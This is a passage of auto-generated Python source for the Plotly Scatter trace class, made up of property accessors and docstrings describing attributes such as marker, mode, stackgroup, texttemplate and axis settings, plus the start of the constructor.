`marker.color`is set to a numerical array. The colorscale must be an array containing arrays mapping a normalized value to an rgb, rgba, hex, hsl, hsv, or named color string. At minimum, a mapping for the lowest (0) and highest (1) values are required. For example, `[[0, 'rgb(0,0,255)'], [1, 'rgb(255,0,0)']]`. To control the bounds of the colorscale in color space, use`marker.cmin` and `marker.cmax`. Alternatively, `colorscale` may be a palette name string of the following list: Greys,YlGnBu,Greens,YlOrRd,Bluered,RdBu,Reds,Bl ues,Picnic,Rainbow,Portland,Jet,Hot,Blackbody,E arth,Electric,Viridis,Cividis. colorsrc Sets the source reference on Chart Studio Cloud for color . gradient :class:`plotly.graph_objects.scatter.marker.Gra dient` instance or dict with compatible properties line :class:`plotly.graph_objects.scatter.marker.Lin e` instance or dict with compatible properties maxdisplayed Sets a maximum number of points to be drawn on the graph. 0 corresponds to no limit. opacity Sets the marker opacity. opacitysrc Sets the source reference on Chart Studio Cloud for opacity . reversescale Reverses the color mapping if true. Has an effect only if in `marker.color`is set to a numerical array. If true, `marker.cmin` will correspond to the last color in the array and `marker.cmax` will correspond to the first color. showscale Determines whether or not a colorbar is displayed for this trace. Has an effect only if in `marker.color`is set to a numerical array. size Sets the marker size (in px). sizemin Has an effect only if `marker.size` is set to a numerical array. Sets the minimum size (in px) of the rendered marker points. sizemode Has an effect only if `marker.size` is set to a numerical array. Sets the rule for which the data in `size` is converted to pixels. sizeref Has an effect only if `marker.size` is set to a numerical array. Sets the scale factor used to determine the rendered size of marker points. Use with `sizemin` and `sizemode`. sizesrc Sets the source reference on Chart Studio Cloud for size . symbol Sets the marker symbol type. Adding 100 is equivalent to appending "-open" to a symbol name. Adding 200 is equivalent to appending "-dot" to a symbol name. Adding 300 is equivalent to appending "-open-dot" or "dot- open" to a symbol name. symbolsrc Sets the source reference on Chart Studio Cloud for symbol . Returns ------- plotly.graph_objs.scatter.Marker """ return self["marker"] @marker.setter def marker(self, val): self["marker"] = val # meta # ---- @property def meta(self): """ Assigns extra meta information associated with this trace that can be used in various text attributes. Attributes such as trace `name`, graph, axis and colorbar `title.text`, annotation `text` `rangeselector`, `updatemenues` and `sliders` `label` text all support `meta`. To access the trace `meta` values in an attribute in the same trace, simply use `%{meta[i]}` where `i` is the index or key of the `meta` item in question. To access trace `meta` in layout attributes, use `%{data[n[.meta[i]}` where `i` is the index or key of the `meta` and `n` is the trace index. The 'meta' property accepts values of any type Returns ------- Any|numpy.ndarray """ return self["meta"] @meta.setter def meta(self, val): self["meta"] = val # metasrc # ------- @property def metasrc(self): """ Sets the source reference on Chart Studio Cloud for meta . The 'metasrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["metasrc"] @metasrc.setter def metasrc(self, val): self["metasrc"] = val # mode # ---- @property def mode(self): """ Determines the drawing mode for this scatter trace. If the provided `mode` includes "text" then the `text` elements appear at the coordinates. Otherwise, the `text` elements appear on hover. If there are less than 20 points and the trace is not stacked then the default is "lines+markers". Otherwise, "lines". The 'mode' property is a flaglist and may be specified as a string containing: - Any combination of ['lines', 'markers', 'text'] joined with '+' characters (e.g. 'lines+markers') OR exactly one of ['none'] (e.g. 'none') Returns ------- Any """ return self["mode"] @mode.setter def mode(self, val): self["mode"] = val # name # ---- @property def name(self): """ Sets the trace name. The trace name appear as the legend item and on hover. The 'name' property is a string and must be specified as: - A string - A number that will be converted to a string Returns ------- str """ return self["name"] @name.setter def name(self, val): self["name"] = val # opacity # ------- @property def opacity(self): """ Sets the opacity of the trace. The 'opacity' property is a number and may be specified as: - An int or float in the interval [0, 1] Returns ------- int|float """ return self["opacity"] @opacity.setter def opacity(self, val): self["opacity"] = val # orientation # ----------- @property def orientation(self): """ Only relevant when `stackgroup` is used, and only the first `orientation` found in the `stackgroup` will be used - including if `visible` is "legendonly" but not if it is `false`. Sets the stacking direction. With "v" ("h"), the y (x) values of subsequent traces are added. Also affects the default value of `fill`. The 'orientation' property is an enumeration that may be specified as: - One of the following enumeration values: ['v', 'h'] Returns ------- Any """ return self["orientation"] @orientation.setter def orientation(self, val): self["orientation"] = val # r # - @property def r(self): """ r coordinates in scatter traces are deprecated!Please switch to the "scatterpolar" trace type.Sets the radial coordinatesfor legacy polar chart only. The 'r' property is an array that may be specified as a tuple, list, numpy array, or pandas Series Returns ------- numpy.ndarray """ return self["r"] @r.setter def r(self, val): self["r"] = val # rsrc # ---- @property def rsrc(self): """ Sets the source reference on Chart Studio Cloud for r . The 'rsrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["rsrc"] @rsrc.setter def rsrc(self, val): self["rsrc"] = val # selected # -------- @property def selected(self): """ The 'selected' property is an instance of Selected that may be specified as: - An instance of :class:`plotly.graph_objs.scatter.Selected` - A dict of string/value properties that will be passed to the Selected constructor Supported dict properties: marker :class:`plotly.graph_objects.scatter.selected.M arker` instance or dict with compatible properties textfont :class:`plotly.graph_objects.scatter.selected.T extfont` instance or dict with compatible properties Returns ------- plotly.graph_objs.scatter.Selected """ return self["selected"] @selected.setter def selected(self, val): self["selected"] = val # selectedpoints # -------------- @property def selectedpoints(self): """ Array containing integer indices of selected points. Has an effect only for traces that support selections. Note that an empty array means an empty selection where the `unselected` are turned on for all points, whereas, any other non-array values means no selection all where the `selected` and `unselected` styles have no effect. The 'selectedpoints' property accepts values of any type Returns ------- Any """ return self["selectedpoints"] @selectedpoints.setter def selectedpoints(self, val): self["selectedpoints"] = val # showlegend # ---------- @property def showlegend(self): """ Determines whether or not an item corresponding to this trace is shown in the legend. The 'showlegend' property must be specified as a bool (either True, or False) Returns ------- bool """ return self["showlegend"] @showlegend.setter def showlegend(self, val): self["showlegend"] = val # stackgaps # --------- @property def stackgaps(self): """ Only relevant when `stackgroup` is used, and only the first `stackgaps` found in the `stackgroup` will be used - including if `visible` is "legendonly" but not if it is `false`. Determines how we handle locations at which other traces in this group have data but this one does not. With *infer zero* we insert a zero at these locations. With "interpolate" we linearly interpolate between existing values, and extrapolate a constant beyond the existing values. The 'stackgaps' property is an enumeration that may be specified as: - One of the following enumeration values: ['infer zero', 'interpolate'] Returns ------- Any """ return self["stackgaps"] @stackgaps.setter def stackgaps(self, val): self["stackgaps"] = val # stackgroup # ---------- @property def stackgroup(self): """ Set several scatter traces (on the same subplot) to the same stackgroup in order to add their y values (or their x values if `orientation` is "h"). If blank or omitted this trace will not be stacked. Stacking also turns `fill` on by default, using "tonexty" ("tonextx") if `orientation` is "h" ("v") and sets the default `mode` to "lines" irrespective of point count. You can only stack on a numeric (linear or log) axis. Traces in a `stackgroup` will only fill to (or be filled to) other traces in the same group. With multiple `stackgroup`s or some traces stacked and some not, if fill-linked traces are not already consecutive, the later ones will be pushed down in the drawing order. The 'stackgroup' property is a string and must be specified as: - A string - A number that will be converted to a string Returns ------- str """ return self["stackgroup"] @stackgroup.setter def stackgroup(self, val): self["stackgroup"] = val # stream # ------ @property def stream(self): """ The 'stream' property is an instance of Stream that may be specified as: - An instance of :class:`plotly.graph_objs.scatter.Stream` - A dict of string/value properties that will be passed to the Stream constructor Supported dict properties: maxpoints Sets the maximum number of points to keep on the plots from an incoming stream. If `maxpoints` is set to 50, only the newest 50 points will be displayed on the plot. token The stream id number links a data trace on a plot with a stream. See https://chart- studio.plotly.com/settings for more details. Returns ------- plotly.graph_objs.scatter.Stream """ return self["stream"] @stream.setter def stream(self, val): self["stream"] = val # t # - @property def t(self): """ t coordinates in scatter traces are deprecated!Please switch to the "scatterpolar" trace type.Sets the angular coordinatesfor legacy polar chart only. The 't' property is an array that may be specified as a tuple, list, numpy array, or pandas Series Returns ------- numpy.ndarray """ return self["t"] @t.setter def t(self, val): self["t"] = val # text # ---- @property def text(self): """ Sets text elements associated with each (x,y) pair. If a single string, the same string appears over all the data points. If an array of string, the items are mapped in order to the this trace's (x,y) coordinates. If trace `hoverinfo` contains a "text" flag and "hovertext" is not set, these elements will be seen in the hover labels. The 'text' property is a string and must be specified as: - A string - A number that will be converted to a string - A tuple, list, or one-dimensional numpy array of the above Returns ------- str|numpy.ndarray """ return self["text"] @text.setter def text(self, val): self["text"] = val # textfont # -------- @property def textfont(self): """ Sets the text font. The 'textfont' property is an instance of Textfont that may be specified as: - An instance of :class:`plotly.graph_objs.scatter.Textfont` - A dict of string/value properties that will be passed to the Textfont constructor Supported dict properties: color colorsrc Sets the source reference on Chart Studio Cloud for color . family HTML font family - the typeface that will be applied by the web browser. The web browser will only be able to apply a font if it is available on the system which it operates. Provide multiple font families, separated by commas, to indicate the preference in which to apply fonts if they aren't available on the system. The Chart Studio Cloud (at https://chart-studio.plotly.com or on-premise) generates images on a server, where only a select number of fonts are installed and supported. These include "Arial", "Balto", "Courier New", "Droid Sans",, "Droid Serif", "Droid Sans Mono", "Gravitas One", "Old Standard TT", "Open Sans", "Overpass", "PT Sans Narrow", "Raleway", "Times New Roman". familysrc Sets the source reference on Chart Studio Cloud for family . size sizesrc Sets the source reference on Chart Studio Cloud for size . Returns ------- plotly.graph_objs.scatter.Textfont """ return self["textfont"] @textfont.setter def textfont(self, val): self["textfont"] = val # textposition # ------------ @property def textposition(self): """ Sets the positions of the `text` elements with respects to the (x,y) coordinates. The 'textposition' property is an enumeration that may be specified as: - One of the following enumeration values: ['top left', 'top center', 'top right', 'middle left', 'middle center', 'middle right', 'bottom left', 'bottom center', 'bottom right'] - A tuple, list, or one-dimensional numpy array of the above Returns ------- Any|numpy.ndarray """ return self["textposition"] @textposition.setter def textposition(self, val): self["textposition"] = val # textpositionsrc # --------------- @property def textpositionsrc(self): """ Sets the source reference on Chart Studio Cloud for textposition . The 'textpositionsrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["textpositionsrc"] @textpositionsrc.setter def textpositionsrc(self, val): self["textpositionsrc"] = val # textsrc # ------- @property def textsrc(self): """ Sets the source reference on Chart Studio Cloud for text . The 'textsrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["textsrc"] @textsrc.setter def textsrc(self, val): self["textsrc"] = val # texttemplate # ------------ @property def texttemplate(self): """ Template string used for rendering the information text that appear on points. Note that this will override `textinfo`. Variables are inserted using %{variable}, for example "y: %{y}". Numbers are formatted using d3-format's syntax %{variable:d3-format}, for example "Price: %{y:$.2f}". https://github.com/d3/d3-3.x-api- reference/blob/master/Formatting.md#d3_format for details on the formatting syntax. Dates are formatted using d3-time- format's syntax %{variable|d3-time-format}, for example "Day: %{2019-01-01|%A}". https://github.com/d3/d3-3.x-api- reference/blob/master/Time-Formatting.md#format for details on the date formatting syntax. Every attributes that can be specified per-point (the ones that are `arrayOk: true`) are available. The 'texttemplate' property is a string and must be specified as: - A string - A number that will be converted to a string - A tuple, list, or one-dimensional numpy array of the above Returns ------- str|numpy.ndarray """ return self["texttemplate"] @texttemplate.setter def texttemplate(self, val): self["texttemplate"] = val # texttemplatesrc # --------------- @property def texttemplatesrc(self): """ Sets the source reference on Chart Studio Cloud for texttemplate . The 'texttemplatesrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["texttemplatesrc"] @texttemplatesrc.setter def texttemplatesrc(self, val): self["texttemplatesrc"] = val # tsrc # ---- @property def tsrc(self): """ Sets the source reference on Chart Studio Cloud for t . The 'tsrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["tsrc"] @tsrc.setter def tsrc(self, val): self["tsrc"] = val # uid # --- @property def uid(self): """ Assign an id to this trace, Use this to provide object constancy between traces during animations and transitions. The 'uid' property is a string and must be specified as: - A string - A number that will be converted to a string Returns ------- str """ return self["uid"] @uid.setter def uid(self, val): self["uid"] = val # uirevision # ---------- @property def uirevision(self): """ Controls persistence of some user-driven changes to the trace: `constraintrange` in `parcoords` traces, as well as some `editable: true` modifications such as `name` and `colorbar.title`. Defaults to `layout.uirevision`. Note that other user-driven trace attribute changes are controlled by `layout` attributes: `trace.visible` is controlled by `layout.legend.uirevision`, `selectedpoints` is controlled by `layout.selectionrevision`, and `colorbar.(x|y)` (accessible with `config: {editable: true}`) is controlled by `layout.editrevision`. Trace changes are tracked by `uid`, which only falls back on trace index if no `uid` is provided. So if your app can add/remove traces before the end of the `data` array, such that the same trace has a different index, you can still preserve user-driven changes if you give each trace a `uid` that stays with it as it moves. The 'uirevision' property accepts values of any type Returns ------- Any """ return self["uirevision"] @uirevision.setter def uirevision(self, val): self["uirevision"] = val # unselected # ---------- @property def unselected(self): """ The 'unselected' property is an instance of Unselected that may be specified as: - An instance of :class:`plotly.graph_objs.scatter.Unselected` - A dict of string/value properties that will be passed to the Unselected constructor Supported dict properties: marker :class:`plotly.graph_objects.scatter.unselected .Marker` instance or dict with compatible properties textfont :class:`plotly.graph_objects.scatter.unselected .Textfont` instance or dict with compatible properties Returns ------- plotly.graph_objs.scatter.Unselected """ return self["unselected"] @unselected.setter def unselected(self, val): self["unselected"] = val # visible # ------- @property def visible(self): """ Determines whether or not this trace is visible. If "legendonly", the trace is not drawn, but can appear as a legend item (provided that the legend itself is visible). The 'visible' property is an enumeration that may be specified as: - One of the following enumeration values: [True, False, 'legendonly'] Returns ------- Any """ return self["visible"] @visible.setter def visible(self, val): self["visible"] = val # x # - @property def x(self): """ Sets the x coordinates. The 'x' property is an array that may be specified as a tuple, list, numpy array, or pandas Series Returns ------- numpy.ndarray """ return self["x"] @x.setter def x(self, val): self["x"] = val # x0 # -- @property def x0(self): """ Alternate to `x`. Builds a linear space of x coordinates. Use with `dx` where `x0` is the starting coordinate and `dx` the step. The 'x0' property accepts values of any type Returns ------- Any """ return self["x0"] @x0.setter def x0(self, val): self["x0"] = val # xaxis # ----- @property def xaxis(self): """ Sets a reference between this trace's x coordinates and a 2D cartesian x axis. If "x" (the default value), the x coordinates refer to `layout.xaxis`. If "x2", the x coordinates refer to `layout.xaxis2`, and so on. The 'xaxis' property is an identifier of a particular subplot, of type 'x', that may be specified as the string 'x' optionally followed by an integer >= 1 (e.g. 'x', 'x1', 'x2', 'x3', etc.) Returns ------- str """ return self["xaxis"] @xaxis.setter def xaxis(self, val): self["xaxis"] = val # xcalendar # --------- @property def xcalendar(self): """ Sets the calendar system to use with `x` date data. The 'xcalendar' property is an enumeration that may be specified as: - One of the following enumeration values: ['gregorian', 'chinese', 'coptic', 'discworld', 'ethiopian', 'hebrew', 'islamic', 'julian', 'mayan', 'nanakshahi', 'nepali', 'persian', 'jalali', 'taiwan', 'thai', 'ummalqura'] Returns ------- Any """ return self["xcalendar"] @xcalendar.setter def xcalendar(self, val): self["xcalendar"] = val # xsrc # ---- @property def xsrc(self): """ Sets the source reference on Chart Studio Cloud for x . The 'xsrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["xsrc"] @xsrc.setter def xsrc(self, val): self["xsrc"] = val # y # - @property def y(self): """ Sets the y coordinates. The 'y' property is an array that may be specified as a tuple, list, numpy array, or pandas Series Returns ------- numpy.ndarray """ return self["y"] @y.setter def y(self, val): self["y"] = val # y0 # -- @property def y0(self): """ Alternate to `y`. Builds a linear space of y coordinates. Use with `dy` where `y0` is the starting coordinate and `dy` the step. The 'y0' property accepts values of any type Returns ------- Any """ return self["y0"] @y0.setter def y0(self, val): self["y0"] = val # yaxis # ----- @property def yaxis(self): """ Sets a reference between this trace's y coordinates and a 2D cartesian y axis. If "y" (the default value), the y coordinates refer to `layout.yaxis`. If "y2", the y coordinates refer to `layout.yaxis2`, and so on. The 'yaxis' property is an identifier of a particular subplot, of type 'y', that may be specified as the string 'y' optionally followed by an integer >= 1 (e.g. 'y', 'y1', 'y2', 'y3', etc.) Returns ------- str """ return self["yaxis"] @yaxis.setter def yaxis(self, val): self["yaxis"] = val # ycalendar # --------- @property def ycalendar(self): """ Sets the calendar system to use with `y` date data. The 'ycalendar' property is an enumeration that may be specified as: - One of the following enumeration values: ['gregorian', 'chinese', 'coptic', 'discworld', 'ethiopian', 'hebrew', 'islamic', 'julian', 'mayan', 'nanakshahi', 'nepali', 'persian', 'jalali', 'taiwan', 'thai', 'ummalqura'] Returns ------- Any """ return self["ycalendar"] @ycalendar.setter def ycalendar(self, val): self["ycalendar"] = val # ysrc # ---- @property def ysrc(self): """ Sets the source reference on Chart Studio Cloud for y . The 'ysrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["ysrc"] @ysrc.setter def ysrc(self, val): self["ysrc"] = val # type # ---- @property def type(self): return self._props["type"] # Self properties description # --------------------------- @property def _prop_descriptions(self): return """\ cliponaxis Determines whether or not markers and text nodes are clipped about the subplot axes. To show markers and text nodes above axis lines and tick labels, make sure to set `xaxis.layer` and `yaxis.layer` to *below traces*. connectgaps Determines whether or not gaps (i.e. {nan} or missing values) in the provided data arrays are connected. customdata Assigns extra data each datum. This may be useful when listening to hover, click and selection events. Note that, "scatter" traces also appends customdata items in the markers DOM elements customdatasrc Sets the source reference on Chart Studio Cloud for customdata . dx Sets the x coordinate step. See `x0` for more info. dy Sets the y coordinate step. See `y0` for more info. error_x :class:`plotly.graph_objects.scatter.ErrorX` instance or dict with compatible properties error_y :class:`plotly.graph_objects.scatter.ErrorY` instance or dict with compatible properties fill Sets the area to fill with a solid color. Defaults to "none" unless this trace is stacked, then it gets "tonexty" ("tonextx") if `orientation` is "v" ("h") Use with `fillcolor` if not "none". "tozerox" and "tozeroy" fill to x=0 and y=0 respectively. "tonextx" and "tonexty" fill between the endpoints of this trace and the endpoints of the trace before it, connecting those endpoints with straight lines (to make a stacked area graph); if there is no trace before it, they behave like "tozerox" and "tozeroy". "toself" connects the endpoints of the trace (or each segment of the trace if it has gaps) into a closed shape. "tonext" fills the space between two traces if one completely encloses the other (eg consecutive contour lines), and behaves like "toself" if there is no trace before it. "tonext" should not be used if one trace does not enclose the other. Traces in a `stackgroup` will only fill to (or be filled to) other traces in the same group. With multiple `stackgroup`s or some traces stacked and some not, if fill-linked traces are not already consecutive, the later ones will be pushed down in the drawing order. fillcolor Sets the fill color. Defaults to a half-transparent variant of the line color, marker color, or marker line color, whichever is available. groupnorm Only relevant when `stackgroup` is used, and only the first `groupnorm` found in the `stackgroup` will be used - including if `visible` is "legendonly" but not if it is `false`. Sets the normalization for the sum of this `stackgroup`. With "fraction", the value of each trace at each location is divided by the sum of all trace values at that location. "percent" is the same but multiplied by 100 to show percentages. If there are multiple subplots, or multiple `stackgroup`s on one subplot, each will be normalized within its own set. hoverinfo Determines which trace information appear on hover. If `none` or `skip` are set, no information is displayed upon hovering. But, if `none` is set, click and hover events are still fired. hoverinfosrc Sets the source reference on Chart Studio Cloud for hoverinfo . hoverlabel :class:`plotly.graph_objects.scatter.Hoverlabel` instance or dict with compatible properties hoveron Do the hover effects highlight individual points (markers or line points) or do they highlight filled regions? If the fill is "toself" or "tonext" and there are no markers or text, then the default is "fills", otherwise it is "points". hovertemplate Template string used for rendering the information that appear on hover box. Note that this will override `hoverinfo`. Variables are inserted using %{variable}, for example "y: %{y}". Numbers are formatted using d3-format's syntax %{variable:d3-format}, for example "Price: %{y:$.2f}". https://github.com/d3/d3-3.x-api- reference/blob/master/Formatting.md#d3_format for details on the formatting syntax. Dates are formatted using d3-time-format's syntax %{variable|d3-time- format}, for example "Day: %{2019-01-01|%A}". https://github.com/d3/d3-3.x-api- reference/blob/master/Time-Formatting.md#format for details on the date formatting syntax. The variables available in `hovertemplate` are the ones emitted as event data described at this link https://plotly.com/javascript/plotlyjs-events/#event- data. Additionally, every attributes that can be specified per-point (the ones that are `arrayOk: true`) are available. Anything contained in tag `<extra>` is displayed in the secondary box, for example "<extra>{fullData.name}</extra>". To hide the secondary box completely, use an empty tag `<extra></extra>`. hovertemplatesrc Sets the source reference on Chart Studio Cloud for hovertemplate . hovertext Sets hover text elements associated with each (x,y) pair. If a single string, the same string appears over all the data points. If an array of string, the items are mapped in order to the this trace's (x,y) coordinates. To be seen, trace `hoverinfo` must contain a "text" flag. hovertextsrc Sets the source reference on Chart Studio Cloud for hovertext . ids Assigns id labels to each datum. These ids for object constancy of data points during animation. Should be an array of strings, not numbers or any other type. idssrc Sets the source reference on Chart Studio Cloud for ids . legendgroup Sets the legend group for this trace. Traces part of the same legend group hide/show at the same time when toggling legend items. line :class:`plotly.graph_objects.scatter.Line` instance or dict with compatible properties marker :class:`plotly.graph_objects.scatter.Marker` instance or dict with compatible properties meta Assigns extra meta information associated with this trace that can be used in various text attributes. Attributes such as trace `name`, graph, axis and colorbar `title.text`, annotation `text` `rangeselector`, `updatemenues` and `sliders` `label` text all support `meta`. To access the trace `meta` values in an attribute in the same trace, simply use `%{meta[i]}` where `i` is the index or key of the `meta` item in question. To access trace `meta` in layout attributes, use `%{data[n[.meta[i]}` where `i` is the index or key of the `meta` and `n` is the trace index. metasrc Sets the source reference on Chart Studio Cloud for meta . mode Determines the drawing mode for this scatter trace. If the provided `mode` includes "text" then the `text` elements appear at the coordinates. Otherwise, the `text` elements appear on hover. If there are less than 20 points and the trace is not stacked then the default is "lines+markers". Otherwise, "lines". name Sets the trace name. The trace name appear as the legend item and on hover. opacity Sets the opacity of the trace. orientation Only relevant when `stackgroup` is used, and only the first `orientation` found in the `stackgroup` will be used - including if `visible` is "legendonly" but not if it is `false`. Sets the stacking direction. With "v" ("h"), the y (x) values of subsequent traces are added. Also affects the default value of `fill`. r r coordinates in scatter traces are deprecated!Please switch to the "scatterpolar" trace type.Sets the radial coordinatesfor legacy polar chart only. rsrc Sets the source reference on Chart Studio Cloud for r . selected :class:`plotly.graph_objects.scatter.Selected` instance or dict with compatible properties selectedpoints Array containing integer indices of selected points. Has an effect only for traces that support selections. Note that an empty array means an empty selection where the `unselected` are turned on for all points, whereas, any other non-array values means no selection all where the `selected` and `unselected` styles have no effect. showlegend Determines whether or not an item corresponding to this trace is shown in the legend. stackgaps Only relevant when `stackgroup` is used, and only the first `stackgaps` found in the `stackgroup` will be used - including if `visible` is "legendonly" but not if it is `false`. Determines how we handle locations at which other traces in this group have data but this one does not. With *infer zero* we insert a zero at these locations. With "interpolate" we linearly interpolate between existing values, and extrapolate a constant beyond the existing values. stackgroup Set several scatter traces (on the same subplot) to the same stackgroup in order to add their y values (or their x values if `orientation` is "h"). If blank or omitted this trace will not be stacked. Stacking also turns `fill` on by default, using "tonexty" ("tonextx") if `orientation` is "h" ("v") and sets the default `mode` to "lines" irrespective of point count. You can only stack on a numeric (linear or log) axis. Traces in a `stackgroup` will only fill to (or be filled to) other traces in the same group. With multiple `stackgroup`s or some traces stacked and some not, if fill-linked traces are not already consecutive, the later ones will be pushed down in the drawing order. stream :class:`plotly.graph_objects.scatter.Stream` instance or dict with compatible properties t t coordinates in scatter traces are deprecated!Please switch to the "scatterpolar" trace type.Sets the angular coordinatesfor legacy polar chart only. text Sets text elements associated with each (x,y) pair. If a single string, the same string appears over all the data points. If an array of string, the items are mapped in order to the this trace's (x,y) coordinates. If trace `hoverinfo` contains a "text" flag and "hovertext" is not set, these elements will be seen in the hover labels. textfont Sets the text font. textposition Sets the positions of the `text` elements with respects to the (x,y) coordinates. textpositionsrc Sets the source reference on Chart Studio Cloud for textposition . textsrc Sets the source reference on Chart Studio Cloud for text . texttemplate Template string used for rendering the information text that appear on points. Note that this will override `textinfo`. Variables are inserted using %{variable}, for example "y: %{y}". Numbers are formatted using d3-format's syntax %{variable:d3-format}, for example "Price: %{y:$.2f}". https://github.com/d3/d3-3.x-api- reference/blob/master/Formatting.md#d3_format for details on the formatting syntax. Dates are formatted using d3-time-format's syntax %{variable|d3-time- format}, for example "Day: %{2019-01-01|%A}". https://github.com/d3/d3-3.x-api- reference/blob/master/Time-Formatting.md#format for details on the date formatting syntax. Every attributes that can be specified per-point (the ones that are `arrayOk: true`) are available. texttemplatesrc Sets the source reference on Chart Studio Cloud for texttemplate . tsrc Sets the source reference on Chart Studio Cloud for t . uid Assign an id to this trace, Use this to provide object constancy between traces during animations and transitions. uirevision Controls persistence of some user-driven changes to the trace: `constraintrange` in `parcoords` traces, as well as some `editable: true` modifications such as `name` and `colorbar.title`. Defaults to `layout.uirevision`. Note that other user-driven trace attribute changes are controlled by `layout` attributes: `trace.visible` is controlled by `layout.legend.uirevision`, `selectedpoints` is controlled by `layout.selectionrevision`, and `colorbar.(x|y)` (accessible with `config: {editable: true}`) is controlled by `layout.editrevision`. Trace changes are tracked by `uid`, which only falls back on trace index if no `uid` is provided. So if your app can add/remove traces before the end of the `data` array, such that the same trace has a different index, you can still preserve user-driven changes if you give each trace a `uid` that stays with it as it moves. unselected :class:`plotly.graph_objects.scatter.Unselected` instance or dict with compatible properties visible Determines whether or not this trace is visible. If "legendonly", the trace is not drawn, but can appear as a legend item (provided that the legend itself is visible). x Sets the x coordinates. x0 Alternate to `x`. Builds a linear space of x coordinates. Use with `dx` where `x0` is the starting coordinate and `dx` the step. xaxis Sets a reference between this trace's x coordinates and a 2D cartesian x axis. If "x" (the default value), the x coordinates refer to `layout.xaxis`. If "x2", the x coordinates refer to `layout.xaxis2`, and so on. xcalendar Sets the calendar system to use with `x` date data. xsrc Sets the source reference on Chart Studio Cloud for x . y Sets the y coordinates. y0 Alternate to `y`. Builds a linear space of y coordinates. Use with `dy` where `y0` is the starting coordinate and `dy` the step. yaxis Sets a reference between this trace's y coordinates and a 2D cartesian y axis. If "y" (the default value), the y coordinates refer to `layout.yaxis`. If "y2", the y coordinates refer to `layout.yaxis2`, and so on. ycalendar Sets the calendar system to use with `y` date data. ysrc Sets the source reference on Chart Studio Cloud for y . """ def __init__( self, arg=None, cliponaxis=None, connectgaps=None, customdata=None, customdatasrc=None, dx=None, dy=None, error_x=None, error_y=None, fill=None, fillcolor=None, groupnorm=None, hoverinfo=None, hoverinfosrc=None, hoverlabel=None, hoveron=None, hovertemplate=None, hovertemplatesrc=None, hovertext=None, hovertextsrc=None, ids=None, idssrc=None, legendgroup=None, line=None, marker=None, meta=None, metasrc=None, mode=None, name=None, opacity=None, orientation=None, r=None, rsrc=None, selected=None, selectedpoints=None, showlegend=None, stackgaps=None, stackgroup=None, stream=None, t=None, text=None, textfont=None, textposition=None, textpositionsrc=None, textsrc=None, texttemplate=None, texttemplatesrc=None, tsrc=None, uid=None, uirevision=None, unselected=None, visible=None, x=None, x0=None, xaxis=None, xcalendar=None, xsrc=None, y=None, y0=None, yaxis=None, ycalendar=None, ysrc=None, **kwargs ): """ Construct a new Scatter object The scatter trace type encompasses line charts, scatter charts, text charts, and bubble charts. The data visualized as scatter point or lines is set in `x` and `y`. Text (appearing either on the chart or on hover only) is via `text`. Bubble charts are achieved by setting `marker.size` and/or `marker.color` to numerical arrays. Parameters ---------- arg dict of properties compatible with this constructor or an instance of :class:`plotly.graph_objs.Scatter` cliponaxis Determines whether or not markers and text nodes are clipped about the subplot axes. To show markers and text nodes above axis lines and tick labels, make sure to set `xaxis.layer` and `yaxis.layer` to *below traces*. connectgaps Determines whether or not gaps (i.e. {nan} or missing values) in the provided data arrays are connected. customdata Assigns extra data each datum. This may be useful when listening to hover, click and selection events. Note that, "scatter" traces also appends customdata items in the markers DOM elements customdatasrc Sets the source reference on Chart Studio Cloud for customdata . dx Sets the x coordinate step. See `x0` for more info. dy Sets the y coordinate step. See `y0` for more info. error_x :class:`plotly.graph_objects.scatter.ErrorX` instance or dict with compatible properties error_y :class:`plotly.graph_objects.scatter.ErrorY` instance or dict with compatible properties fill Sets the area to fill with a solid color. Defaults to "none" unless this trace is stacked, then it gets "tonexty" ("tonextx") if `orientation` is "v" ("h") Use with `fillcolor` if not "none". "tozerox" and "tozeroy" fill to x=0 and y=0 respectively. "tonextx" and "tonexty" fill between the endpoints of this trace and the endpoints of the trace before it, connecting those endpoints with straight lines (to make a stacked area graph); if there is no trace before it, they behave like "tozerox" and "tozeroy". "toself" connects the endpoints of the trace (or each segment of the trace if it has gaps) into a closed shape. "tonext" fills the space between two traces if one completely encloses the other (eg consecutive contour lines), and behaves like "toself" if there is no trace before it. "tonext" should not be used if one trace does not enclose the other. Traces in a `stackgroup` will only fill to (or be filled to) other traces in the same group. With multiple `stackgroup`s or some traces stacked and some not, if fill-linked traces are not already consecutive, the later ones will be pushed down in the drawing order. fillcolor Sets the fill color. Defaults to a half-transparent variant of the line color, marker color, or marker line color, whichever is available. groupnorm Only relevant when `stackgroup` is used, and only the first `groupnorm` found in the `stackgroup` will be used - including if `visible` is "legendonly" but not if it is `false`. Sets the normalization for the sum of this `stackgroup`. With "fraction", the value of each trace at each location is divided by the sum of all trace values at that location. "percent" is the same but multiplied by 100 to show percentages. If there are multiple subplots, or multiple `stackgroup`s on one subplot, each will be normalized within its own set. hoverinfo Determines which trace information appear on hover. If `none` or `skip` are set, no information is displayed upon hovering. But, if `none` is set, click and hover events are still fired. hoverinfosrc Sets the source reference on Chart Studio Cloud for hoverinfo . hoverlabel :class:`plotly.graph_objects.scatter.Hoverlabel` instance or dict with compatible properties hoveron Do the hover effects highlight individual points (markers or line points) or do they highlight filled regions? If the fill is "toself" or "tonext" and there are no markers or text, then the default is "fills", otherwise it is "points". hovertemplate Template string used for rendering the information that appear on hover box. Note that this will override `hoverinfo`. Variables are inserted using %{variable}, for example "y: %{y}". Numbers are formatted using d3-format's syntax %{variable:d3-format}, for example "Price: %{y:$.2f}". https://github.com/d3/d3-3.x-api- reference/blob/master/Formatting.md#d3_format for details on the formatting syntax. Dates are formatted using d3-time-format's syntax %{variable|d3-time- format}, for example "Day: %{2019-01-01|%A}". https://github.com/d3/d3-3.x-api- reference/blob/master/Time-Formatting.md#format for details on the date formatting syntax. The variables available in `hovertemplate` are the ones emitted as event data described at this link https://plotly.com/javascript/plotlyjs-events/#event- data. Additionally, every attributes that can be specified per-point (the ones that are `arrayOk: true`) are available. Anything contained in tag `<extra>` is displayed in the secondary box, for example "<extra>{fullData.name}</extra>". To hide the secondary box completely, use an empty tag `<extra></extra>`. hovertemplatesrc Sets the 